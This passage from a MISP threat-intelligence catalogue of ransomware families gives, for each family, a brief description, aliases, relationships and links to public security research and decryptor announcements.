Ransomware Based on EDA2, shows Guy Fawkes mask

The tag is: *misp-galaxy:ransomware="Strictor"*

Table 3327. Table References

Links
http://www.nyxbone.com/malware/Strictor.html

Surprise

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Surprise"*

Survey

Ransomware Still in development, shows FileIce survey

The tag is: *misp-galaxy:ransomware="Survey"*

Table 3328. Table References

Links
http://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

SynoLocker

Ransomware Exploited Synology NAS firmware directly over WAN

The tag is: *misp-galaxy:ransomware="SynoLocker"*

SZFLocker

Ransomware

The tag is: *misp-galaxy:ransomware="SZFLocker"*

Table 3329. Table References

Links
http://now.avg.com/dont-pay-the-ransom-avg-releases-six-free-decryption-tools-to-retrieve-your-files/

TeamXrat

Ransomware

The tag is: *misp-galaxy:ransomware="TeamXrat"*

Table 3330. Table References

Links
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/

TeslaCrypt 0.x - 2.2.0

Ransomware Factorization

The tag is: *misp-galaxy:ransomware="TeslaCrypt 0.x - 2.2.0"*

TeslaCrypt 0.x - 2.2.0 is also known as:

- AlphaCrypt

Table 3331. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.talosintel.com/teslacrypt_tool/

TeslaCrypt 3.0+

Ransomware 4.0+ has no extension

The tag is: *misp-galaxy:ransomware="TeslaCrypt 3.0+"*

Table 3332. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/

TeslaCrypt 4.1A

Ransomware

The tag is: *misp-galaxy:ransomware="TeslaCrypt 4.1A"*

Table 3333. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/
https://www.endgame.com/blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack-chain

TeslaCrypt 4.2

Ransomware

The tag is: *misp-galaxy:ransomware="TeslaCrypt 4.2"*

Table 3334. Table References

Links
http://www.bleepingcomputer.com/forums/t/576600/tesladecoder-released-to-decrypt-exx-ezz-ecc-files-encrypted-by-teslacrypt/
http://www.welivesecurity.com/2016/05/18/eset-releases-decryptor-recent-variants-teslacrypt-ransomware/
https://blog.kaspersky.com/raknidecryptor-vs-teslacrypt/12169/
http://www.bleepingcomputer.com/news/security/teslacrypt-4-2-released-with-quite-a-few-modifications/

Threat Finder

Ransomware Files cannot be decrypted Has a GUI

The tag is: *misp-galaxy:ransomware="Threat Finder"*

TorrentLocker

Ransomware Newer variants not decryptable. Only first 2 MB are encrypted

The tag is: *misp-galaxy:ransomware="TorrentLocker"*

TorrentLocker is also known as:

- Crypt0L0cker
- CryptoFortress
- Teerac

TorrentLocker has relationships with:

- similar: misp-galaxy:ransomware="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TorrentLocker" with estimative-language:likelihood-probability="likely"

Table 3335. Table References

Links
http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/
https://twitter.com/PolarToffee/status/804008236600934403
http://blog.talosintelligence.com/2017/03/crypt0l0cker-torrentlocker-old-dog-new.html

TowerWeb

Ransomware

The tag is: *misp-galaxy:ransomware="TowerWeb"*

Table 3336. Table References

Links
http://www.bleepingcomputer.com/forums/t/618055/towerweb-ransomware-help-support-topic-payment-instructionsjpg/

Toxcrypt

Ransomware

The tag is: *misp-galaxy:ransomware="Toxcrypt"*

Trojan

Ransomware

The tag is: *misp-galaxy:ransomware="Trojan"*

Trojan is also known as:

- BrainCrypt

Table 3337. Table References

Links
https://download.bleepingcomputer.com/demonslay335/BrainCryptDecrypter.zip
https://twitter.com/PolarToffee/status/811249250285842432

Troldesh orShade, XTBL

Ransomware May download additional malware after encryption

The tag is: *misp-galaxy:ransomware="Troldesh orShade, XTBL"*

Table 3338. Table References

Links
https://www.nomoreransom.org/uploads/ShadeDecryptor_how-to_guide.pdf
http://www.nyxbone.com/malware/Troldesh.html
https://www.bleepingcomputer.com/news/security/kelihos-botnet-delivering-shade-troldesh-ransomware-with-no-more-ransom-extension/

TrueCrypter

Ransomware

The tag is: *misp-galaxy:ransomware="TrueCrypter"*

Table 3339. Table References

Links
http://www.bleepingcomputer.com/news/security/truecrypter-ransomware-accepts-payment-in-bitcoins-or-amazon-gift-card/

Turkish

Ransomware

The tag is: *misp-galaxy:ransomware="Turkish"*

Table 3340. Table References

Links
https://twitter.com/struppigel/status/821991600637313024

Turkish Ransom

Ransomware

The tag is: *misp-galaxy:ransomware="Turkish Ransom"*

Table 3341. Table References

Links
http://www.nyxbone.com/malware/turkishRansom.html

UmbreCrypt

Ransomware CrypBoss Family

The tag is: *misp-galaxy:ransomware="UmbreCrypt"*

Table 3342. Table References

Links
http://www.thewindowsclub.com/emsisoft-decrypter-hydracrypt-umbrecrypt-ransomware

UnblockUPC

Ransomware

The tag is: *misp-galaxy:ransomware="UnblockUPC"*

Table 3343. Table References

Links
https://www.bleepingcomputer.com/forums/t/627582/unblockupc-ransomware-help-support-topic-files-encryptedtxt/

Ungluk

Ransomware Ransom note instructs to use Bitmessage to get in contact with attacker - Secretishere.key - SECRETISHIDINGHEREINSIDE.KEY - secret.key

The tag is: *misp-galaxy:ransomware="Ungluk"*

Unlock92

Ransomware

The tag is: *misp-galaxy:ransomware="Unlock92 "*

Table 3344. Table References

Links
https://twitter.com/malwrhunterteam/status/839038399944224768

VapeLauncher

Ransomware CryptoWire variant

The tag is: *misp-galaxy:ransomware="VapeLauncher"*

Table 3345. Table References

Links

https://twitter.com/struppigel/status/839771195830648833

VaultCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="VaultCrypt"*

VaultCrypt is also known as:

- CrypVault
- Zlader

VaultCrypt has relationships with:

- similar: misp-galaxy:ransomware="Zlader" with estimative-language:likelihood-probability="likely"

Table 3346. Table References

Links
http://www.nyxbone.com/malware/russianRansom.html

VBRANSOM 7

Ransomware

The tag is: *misp-galaxy:ransomware="VBRANSOM 7"*

Table 3347. Table References

Links
https://twitter.com/BleepinComputer/status/817851339078336513

VenusLocker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="VenusLocker"*

Table 3348. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/08/venus-locker-another-net-ransomware/?utm_source=twitter&utm_medium=social
http://www.nyxbone.com/malware/venusLocker.html

Virlock

Ransomware Polymorphism / Self-replication

The tag is: *misp-galaxy:ransomware="Virlock"*

Table 3349. Table References

Links
http://www.nyxbone.com/malware/Virlock.html
http://www.welivesecurity.com/2014/12/22/win32virlock-first-self-reproducing-ransomware-also-shape-shifter/

Virus-Encoder

Ransomware

The tag is: *misp-galaxy:ransomware="Virus-Encoder"*

Virus-Encoder is also known as:

- CrySiS

Table 3350. Table References

Links
http://www.welivesecurity.com/2016/11/24/new-decryption-tool-crysis-ransomware/
http://media.kaspersky.com/utilities/VirusUtilities/EN/rakhnidecryptor.zip
http://www.nyxbone.com/malware/virus-encoder.html
http://blog.trendmicro.com/trendlabs-security-intelligence/crysis-targeting-businesses-in-australia-new-zealand-via-brute-forced-rdps/

WildFire Locker

Ransomware Zyklon variant

The tag is: *misp-galaxy:ransomware="WildFire Locker"*

WildFire Locker is also known as:

- Hades Locker

Table 3351. Table References

Links
https://labs.opendns.com/2016/07/13/wildfire-ransomware-gaining-momentum/

Xorist

Ransomware encrypted files will still have the original non-encrypted header of 0x33 bytes length

The tag is: *misp-galaxy:ransomware="Xorist"*

Table 3352. Table References

Links
https://support.kaspersky.com/viruses/disinfection/2911
https://decrypter.emsisoft.com/xorist
https://twitter.com/siri_urz/status/1006833669447839745

XRTN

Ransomware VaultCrypt family

The tag is: *misp-galaxy:ransomware="XRTN "*

You Have Been Hacked!!!

Ransomware Attempt to steal passwords

The tag is: *misp-galaxy:ransomware="You Have Been Hacked!!!"*

Table 3353. Table References

Links
https://twitter.com/malwrhunterteam/status/808280549802418181

Zcrypt

Ransomware

The tag is: *misp-galaxy:ransomware="Zcrypt"*

Zcrypt is also known as:

- Zcryptor

Table 3354. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/05/26/link-lnk-to-ransom/

Zimbra

Ransomware mpritsken@priest.com

The tag is: *misp-galaxy:ransomware="Zimbra"*

Table 3355. Table References

Links
http://www.bleepingcomputer.com/forums/t/617874/zimbra-ransomware-written-in-python-help-and-support-topic-crypto-howtotxt/

Zlader

Ransomware VaultCrypt family

The tag is: *misp-galaxy:ransomware="Zlader"*

Zlader is also known as:

- Russian
- VaultCrypt
- CrypVault

Zlader has relationships with:

- similar: misp-galaxy:ransomware="VaultCrypt" with estimative-language:likelihood-probability="likely"

Table 3356. Table References

Links
http://www.nyxbone.com/malware/russianRansom.html

Zorro

Ransomware

The tag is: *misp-galaxy:ransomware="Zorro"*

Table 3357. Table References

Links
https://twitter.com/BleepinComputer/status/844538370323812353

Zyklon

Ransomware Hidden Tear family, GNL Locker variant

The tag is: *misp-galaxy:ransomware="Zyklon"*

Zyklon is also known as:

- GNL Locker

Zyklon has relationships with:

- similar: misp-galaxy:ransomware="GNL Locker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"

vxLock

Ransomware

The tag is: *misp-galaxy:ransomware="vxLock"*

Jaff

We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.

The tag is: *misp-galaxy:ransomware="Jaff"*

Jaff has relationships with:

- similar: misp-galaxy:malpedia="Jaff" with estimative-language:likelihood-probability="likely"

Table 3358. Table References

Links
http://blog.talosintelligence.com/2017/05/jaff-ransomware.html
https://www.bleepingcomputer.com/news/security/jaff-ransomware-distributed-via-necurs-malspam-and-asking-for-a-3-700-ransom/

Uiwix Ransomware

Using EternalBlue SMB Exploit To Infect Victims

The tag is: *misp-galaxy:ransomware="Uiwix Ransomware"*

Table 3359. Table References

Links
https://www.bleepingcomputer.com/news/security/uiwix-ransomware-using-eternalblue-smb-exploit-to-infect-victims/

SOREBRECT

Fileless, Code-injecting Ransomware

The tag is: *misp-galaxy:ransomware="SOREBRECT"*

Table 3360. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-fileless-code-injecting-sorebrect-ransomware/

Cyron

claims it detected "Children Pornsites" in your browser history

The tag is: *misp-galaxy:ransomware="Cyron"*

Table 3361. Table References

Links
https://twitter.com/struppigel/status/899524853426008064

Kappa

Made with OXAR builder; decryptable

The tag is: *misp-galaxy:ransomware="Kappa"*

Table 3362. Table References

Links
https://twitter.com/struppigel/status/899528477824700416

Trojan Dz

CyberSplitter variant

The tag is: *misp-galaxy:ransomware="Trojan Dz"*

Table 3363. Table References

Links
https://twitter.com/struppigel/status/899537940539478016

Xolzsec

ransomware written by self proclaimed script kiddies that should really be considered trollware

The tag is: *misp-galaxy:ransomware="Xolzsec"*

Table 3364. Table References

Links
https://twitter.com/struppigel/status/899916577252028416

FlatChestWare

HiddenTear variant; decryptable

The tag is: *misp-galaxy:ransomware="FlatChestWare"*

Table 3365. Table References

Links
https://twitter.com/struppigel/status/900238572409823232

SynAck

The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user's desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt In addition, SynAck also appends its own extension at the end of all files it encrypted. This file extensions format is ten random alpha characters for each file. For example: test.jpg.XbMiJQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.

The tag is: *misp-galaxy:ransomware="SynAck"*

SynAck is also known as:

- Syn Ack

SynAck has relationships with:

- similar: misp-galaxy:malpedia="SynAck" with estimative-language:likelihood-probability="likely"

Table 3366. Table References

Links
https://www.bleepingcomputer.com/news/security/synack-ransomware-sees-huge-spike-in-activity/
https://www.bleepingcomputer.com/news/security/synack-ransomware-uses-process-doppelg-nging-technique/

SyncCrypt

A new ransomware called SyncCrypt was discovered by Emsisoft security researcher xXToffeeXx that is being distributed by spam attachments containing WSF files. When installed these attachments will encrypt a computer and append the .kk extension to encrypted files.

The tag is: *misp-galaxy:ransomware="SyncCrypt"*

SyncCrypt has relationships with:

- similar: misp-galaxy:malpedia="SyncCrypt" with estimative-language:likelihood-probability="likely"

Table 3367. Table References

Links
https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/

Bad Rabbit

On October 24, 2017, Cisco Talos was alerted to a widescale ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.

The tag is: *misp-galaxy:ransomware="Bad Rabbit"*

Bad Rabbit is also known as:

- BadRabbit
- Bad-Rabbit

Bad Rabbit has relationships with:

- similar: misp-galaxy:malpedia="EternalPetya" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="NotPetya" with estimative-language:likelihood-probability="likely"

Table 3368. Table References

Links
http://blog.talosintelligence.com/2017/10/bad-rabbit.html

Halloware

A malware author by the name of Luc1F3R is peddling a new ransomware strain called Halloware for the lowly price of $40. Based on evidence gathered by Bleeping Computer, Luc1F3R started selling his ransomware this week, beginning Thursday.

The tag is: *misp-galaxy:ransomware="Halloware"*

Table 3369. Table References

Links
https://www.bleepingcomputer.com/news/security/halloware-ransomware-on-sale-on-the-dark-web-for-only-40/

StorageCrypt

Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of between .4 and 2 bitcoins to get their files back. User's have also reported that each share on their NAS device contains a Autorun.inf file and a Windows executable named 美女与野　.exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the 美女与野　.exe file to other computers that open the folders on the NAS devices.

The tag is: *misp-galaxy:ransomware="StorageCrypt"*

Table 3370. Table References

Links
https://www.bleepingcomputer.com/news/security/storagecrypt-ransomware-infecting-nas-devices-using-sambacry/

HC7

A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. Thi sis because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.

The tag is: *misp-galaxy:ransomware="HC7"*

Table 3371. Table References

Links

https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/

HC6

Predecessor of HC7

The tag is: *misp-galaxy:ransomware="HC6"*

Table 3372. Table References

Links
https://twitter.com/demonslay335/status/935622942737817601?ref_src=twsrc%5Etfw
https://www.bleepingcomputer.com/news/security/hc7-gotya-ransomware-installed-via-remote-desktop-services-spread-with-psexec/

qkG

Security researchers have discovered a new ransomware strain named qkG that targets only Office documents for encryption and infects the Word default document template to propagate to new Word documents opened through the same Office suite on the same computer.

The tag is: *misp-galaxy:ransomware="qkG"*

Table 3373. Table References

Links
https://www.bleepingcomputer.com/news/security/qkg-ransomware-encrypts-only-word-documents-hides-and-spreads-via-macros/

Scarab

The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the ".scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the ".scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file's name with the ".[suupport@protonmail.com].scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.

The tag is: *misp-galaxy:ransomware="Scarab"*

Table 3374. Table References

Links

https://www.bleepingcomputer.com/news/security/scarab-ransomware-pushed-via-massive-spam-campaign/
https://labsblog.f-secure.com/2017/11/23/necurs-business-is-booming-in-a-new-partnership-with-scarab-ransomware/
https://blogs.forcepoint.com/security-labs/massive-email-campaign-spreads-scarab-ransomware
https://twitter.com/malwrhunterteam/status/933643147766321152
https://myonlinesecurity.co.uk/necurs-botnet-malspam-delivering-a-new-ransomware-via-fake-scanner-copier-messages/
https://twitter.com/demonslay335/status/1006222754385924096
https://twitter.com/demonslay335/status/1006908267862396928
https://twitter.com/demonslay335/status/1007694117449682945
https://twitter.com/demonslay335/status/1049316344183836672
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/Amigo_A_/status/1039105453735784448

File Spider

A new ransomware called File Spider is being distributed through spam that targets victims in Bosnia and Herzegovina, Serbia, and Croatia. These spam emails contains malicious Word documents that will download and install the File Spider ransomware onto a victims computer.File Spider is currently being distributed through malspam that appears to be targeting countries such as Croatia, Bosnia and Herzegovina, and Serbia. The spam start with subjects like"Potrazivanje dugovanja", which translates to "Debt Collection" and whose message, according to Google Translate, appear to be in Serbian.

The tag is: *misp-galaxy:ransomware="File Spider"*

Table 3375. Table References

Links
https://www.bleepingcomputer.com/news/security/file-spider-ransomware-targeting-the-balkans-with-malspam/

FileCoder

A barely functional piece of macOS ransomware, written in Swift.

The tag is: *misp-galaxy:ransomware="FileCoder"*

FileCoder is also known as:

- FindZip
- Patcher

FileCoder has relationships with:

- similar: misp-galaxy:ransomware="Patcher" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"

Table 3376. Table References

Links
https://objective-see.com/blog/blog_0x25.html#FileCoder

MacRansom

A basic piece of macOS ransomware, offered via a 'malware-as-a-service' model.

The tag is: *misp-galaxy:ransomware="MacRansom"*

MacRansom has relationships with:

- similar: misp-galaxy:malpedia="MacRansom" with estimative-language:likelihood-probability="likely"

Table 3377. Table References

Links
https://objective-see.com/blog/blog_0x25.html

GandCrab

A new ransomware called GandCrab was released towards the end of last week that is currently being distributed via exploit kits. GandCrab has some interesting features not seen before in a ransomware, such as being the first to accept the DASH currency and the first to utilize the Namecoin powered .BIT tld.

The tag is: *misp-galaxy:ransomware="GandCrab"*

GandCrab has relationships with:

- dropped-by: misp-galaxy:exploit-kit="Fallout" with estimative-language:likelihood-probability="almost-certain"

Table 3378. Table References

Links
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-version-2-released-with-new-crab-extension-and-other-changes/

https://www.bleepingcomputer.com/news/security/gandcrab-version-3-released-with-autorun-feature-and-desktop-background/
https://www.bleepingcomputer.com/news/security/new-fallout-exploit-kit-drops-gandcrab-ransomware-or-redirects-to-pups/
https://www.bleepingcomputer.com/news/security/gandcrab-v5-ransomware-utilizing-the-alpc-task-scheduler-exploit/

ShurL0ckr

Security researchers uncovered a new ransomware named ShurL0ckr (detected by Trend Micro as RANSOM_GOSHIFR.B) that reportedly bypasses detection mechanisms of cloud platforms. Like Cerber and Satan, ShurL0ckr's operators further monetize the ransomware by peddling it as a turnkey service to fellow cybercriminals, allowing them to earn additional income through a commission from each victim who pays the ransom.

The tag is: *misp-galaxy:ransomware="ShurL0ckr"*

Table 3379. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications

Cryakl

ransomware

The tag is: *misp-galaxy:ransomware="Cryakl"*

Cryakl has relationships with:

- similar: misp-galaxy:ransomware="Offline ransomware" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"

Table 3380. Table References

Links
https://sensorstechforum.com/fr/fairytail-files-virus-cryakl-ransomware-remove-restore-data/
https://www.technologynews.tech/cryakl-ransomware-virus
http://www.zdnet.com/article/cryakl-ransomware-decryption-keys-now-available-for-free/

Thanatos

first ransomware seen to ask for payment to be made in Bitcoin Cash (BCH)

The tag is: *misp-galaxy:ransomware="Thanatos"*

Thanatos has relationships with:

- similar: misp-galaxy:malpedia="Thanatos" with estimative-language:likelihood-probability="likely"

Table 3381. Table References

Links
https://mobile.twitter.com/EclecticIQ/status/968478323889332226
https://www.eclecticiq.com/resources/thanatos—ransomware-first-ransomware-ask-payment-bitcoin-cash?type=intel-report

RSAUtil

RSAUtil is distributed by the developer hacking into remote desktop services and uploading a package of files. This package contains a variety of tools, a config file that determines how the ransomware executes, and the ransomware itself.

The tag is: *misp-galaxy:ransomware="RSAUtil"*

RSAUtil is also known as:

- Vagger
- DONTSLIP

Table 3382. Table References

Links
https://www.securityweek.com/rsautil-ransomware-distributed-rdp-attacks
https://www.bleepingcomputer.com/news/security/rsautil-ransomware-helppme-india-com-installed-via-hacked-remote-desktop-services/
http://id-ransomware.blogspot.lu/2017/04/rsautil-ransomware.html
http://id-ransomware.blogspot.lu/2017/04/

Qwerty Ransomware

A new ransomware has been discovered that utilizes the legitimate GnuPG, or GPG, encryption program to encrypt a victim’s files. Currently in the wild, this ransomware is called Qwerty Ransomware and will encrypt a victims files, overwrite the originals, and the append the .qwerty extension to an encrypted file’s name.

The tag is: *misp-galaxy:ransomware="Qwerty Ransomware"*

Table 3383. Table References

Links

https://www.bleepingcomputer.com/news/security/qwerty-ransomware-utilizes-gnupg-to-encrypt-a-victims-files/

Zenis Ransomware

A new ransomware was discovered this week by MalwareHunterTeam called Zenis Ransomware. While it is currently unknown how Zenis is being distributed, multiple victims have already become infected with this ransomware. What is most disturbing about Zenis is that it not encrypts your files, but also purposely deletes your backups.

The tag is: *misp-galaxy:ransomware="Zenis Ransomware"*

Table 3384. Table References

Links
https://www.bleepingcomputer.com/news/security/zenis-ransomware-encrypts-your-data-and-deletes-your-backups/

Flotera Ransomware

The tag is: *misp-galaxy:ransomware="Flotera Ransomware"*

Table 3385. Table References

Links
https://www.bleepingcomputer.com/news/security/author-of-polski-vortex-and-flotera-ransomware-families-arrested-in-poland/

Black Ruby

A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and appends the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine’s maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.

The tag is: *misp-galaxy:ransomware="Black Ruby"*

Table 3386. Table References

Links
https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/

https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Z*w*/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]

WhiteRose

A new ransomware has been discovered by MalwareHunterTeam that is based off of the InfiniteTear ransomware family, of which BlackRuby and Zenis are members. When this ransomware infects a computer it will encrypt the files, scramble the filenames, and append the .WHITEROSE extension to them.

The tag is: *misp-galaxy:ransomware="WhiteRose"*

Table 3387. Table References

Links
https://www.bleepingcomputer.com/news/security/the-whiterose-ransomware-is-decryptable-and-tells-a-strange-story/

PUBG Ransomware

In what could only be a joke, a new ransomware has been discovered called "PUBG Ransomware" that will decrypt your files if you play the game called PlayerUnknown’s Battlegrounds. Discovered by MalwareHunterTeam, when the PUBG Ransomware is launched it will encrypt a user’s files and folders on the user’s desktop and append the .PUBG extension to them. When it has finished encrypting the files, it will display a screen giving you two methods that you can use to decrypt the encrypted files.

The tag is: *misp-galaxy:ransomware="PUBG Ransomware"*

Table 3388. Table References

Links
https://www.bleepingcomputer.com/news/security/pubg-ransomware-decrypts-your-files-if-you-play-playerunknowns-battlegrounds/

LockCrypt

LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don’t take much time preparing the attack or the payload. Instead, they’re rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.

The tag is: *misp-galaxy:ransomware="LockCrypt"*

Table 3389. Table References

Links
https://www.bleepingcomputer.com/news/security/lockcrypt-ransomware-cracked-due-to-bad-crypto/
https://twitter.com/malwrhunterteam/status/1034436350748053504
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Magniber Ransomware

Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.

The tag is: *misp-galaxy:ransomware="Magniber Ransomware"*

Table 3390. Table References

Links
https://www.bleepingcomputer.com/news/security/decrypters-for-some-versions-of-magniber-ransomware-released/
https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/
https://twitter.com/demonslay335/status/1005133410501787648

Vurten

The tag is: *misp-galaxy:ransomware="Vurten"*

Table 3391. Table References

Links
https://twitter.com/siri_urz/status/981191281195044867

Reveton ransomware

A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.

The tag is: *misp-galaxy:ransomware="Reveton ransomware"*

Table 3392. Table References

Links

https://www.bleepingcomputer.com/news/security/microsoft-engineer-charged-in-reveton-ransomware-case/
https://en.wikipedia.org/wiki/Ransomware#Reveton
https://nakedsecurity.sophos.com/2012/08/29/reveton-ransomware-exposed-explained-and-eliminated/

Fusob

Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about 56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users' anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomwares between 2015 and 2016.

The tag is: *misp-galaxy:ransomware="Fusob"*

Table 3393. Table References

Links
https://en.wikipedia.org/wiki/Ransomware#Fusob

OXAR

The tag is: *misp-galaxy:ransomware="OXAR"*

Table 3394. Table References

Links
https://twitter.com/demonslay335/status/981270787905720320

BansomQare Manna Ransomware

The tag is: *misp-galaxy:ransomware="BansomQare Manna Ransomware"*

Haxerboi Ransomware

The tag is: *misp-galaxy:ransomware="Haxerboi Ransomware"*

SkyFile

The tag is: *misp-galaxy:ransomware="SkyFile"*

Table 3395. Table References

Links
https://twitter.com/malwrhunterteam/status/982229994364547073

MC Ransomware

Supposed joke ransomware, decrypt when running an exectable with the string "Minecraft"

The tag is: *misp-galaxy:ransomware="MC Ransomware"*

Table 3396. Table References

Links
https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/

CSGO Ransomware

Supposed joke ransomware, decrypt when running an exectable with the string "csgo"

The tag is: *misp-galaxy:ransomware="CSGO Ransomware"*

Table 3397. Table References

Links
https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/

XiaoBa ransomware

The tag is: *misp-galaxy:ransomware="XiaoBa ransomware"*

Table 3398. Table References

Links
